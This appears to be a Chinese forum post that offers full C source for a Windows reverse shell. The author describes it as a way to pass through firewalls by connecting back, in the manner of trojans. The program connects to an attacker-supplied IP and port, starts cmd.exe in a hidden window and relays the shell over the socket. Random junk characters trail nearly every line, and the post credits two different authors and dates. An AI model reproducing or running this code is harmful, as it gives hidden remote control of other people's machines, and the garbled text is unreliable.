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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;gEp!R8  
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/* ============================== #-}kG"  
Rebound port in Windows NT WC3W+v G7  
By wind,2006/7 &fCP2]hj'  
===============================*/ S@9w'upd  
#include iJ,M-GHK  
#include YR?3 61FK  
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#pragma comment(lib,"wsock32.lib") Sjw2 j#Q  
1RCXc>}/  
void OutputShell(); :a#F  
SOCKET sClient; N$C{f;xV  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L[CU  
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void main(int argc,char **argv) &/sGh0  
{ oK#\HD4U  
WSADATA stWsaData; LKIW*M  
int nRet; C(EYM$  
SOCKADDR_IN stSaiClient,stSaiServer; z\e>DdS  
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if(argc != 3) caGML|DeI  
{ c:3@[nF~  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1P(%9  
return; $7msL#E7  
} XC*uz  
?H y%ULk  
WSAStartup(MAKEWORD(2,2),&stWsaData); '.]e._T  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M4zX*&w.T  
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stSaiClient.sin_family = AF_INET; n33JTqX  
stSaiClient.sin_port = htons(0); 1y},9ym  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ->#y(}  
c_@XQ&DC`  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3DxZ#/!  
{ t)\D  
printf("Bind Socket Failed!\n"); K?5B>dv@A  
return; 2=igS#h  
} j5PaSk&o=  
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stSaiServer.sin_family = AF_INET; u^}7Vs .  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); IUluJ.sXIf  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \Pw8wayr%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8|w5QvCU?3  
{ ZmEG<T05  
printf("Connect Error!"); ` (7N^@  
return; "}S9`-Wd|  
} )9; (>cdl  
OutputShell(); R2Twm!1  
} [>b  '}4  
2q`)GCES~  
void OutputShell() +CsI,Uf4*  
{ >v^2^$^u  
char szBuff[1024]; Am>_4  
SECURITY_ATTRIBUTES stSecurityAttributes; 1bV2  
OSVERSIONINFO stOsversionInfo; s,1pZT <E  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eNI kiJ$uS  
STARTUPINFO stStartupInfo; BengRG[  
char *szShell; u3Zzu\{  
PROCESS_INFORMATION stProcessInformation; a"`g"ZRx  
unsigned long lBytesRead; &/B2)l6a  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &,W_#l{  
s(1_:  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9F2w.(m  
stSecurityAttributes.lpSecurityDescriptor = 0; )z]q"s5 Y  
stSecurityAttributes.bInheritHandle = TRUE; S/@dkHI'  
fOqS|1rC  
Ft3N#!ubl  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5en [)3E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a<OCO0irJ  
=$"zqa.B6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *k3 d^9o#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #JJp:S~`   
stStartupInfo.wShowWindow = SW_HIDE; pRQ fx^ On  
stStartupInfo.hStdInput = hReadPipe; * kX3sG$8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )'BJ4[aq\  
OYqYI!N/  
GetVersionEx(&stOsversionInfo); v$gMLu=  
R$!;J?SS  
switch(stOsversionInfo.dwPlatformId) s=^r/Sz902  
{ xZ9}8*Q&:  
case 1: ]wkSAi5z*  
szShell = "command.com"; uPv;y!Lsa@  
break; s${T*)S@G  
default: l5\B2 +}7  
szShell = "cmd.exe"; %{N$1ht^  
break; < "L){$  
} nZ`2Z7!  
RE`J"&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); AiyvHt  
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send(sClient,szMsg,77,0); 0j a  
while(1) Se^/VVm  
{ :/yr(V{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #lBpln9  
if(lBytesRead) t_dw}I   
{ ?l\gh1{C  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %# Wg^l '  
send(sClient,szBuff,lBytesRead,0); 5CY@R  
} YA^wUx  
else <FcPxZ  
{ *f0.=?  
lBytesRead=recv(sClient,szBuff,1024,0); )AnlFO+V  
if(lBytesRead<=0) break; zbIwH6  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zJG x5JC  
} .WL\:{G8;  
}  =BqaGXr  
5I8FD".i  
return; [x$eF~Kp  
}
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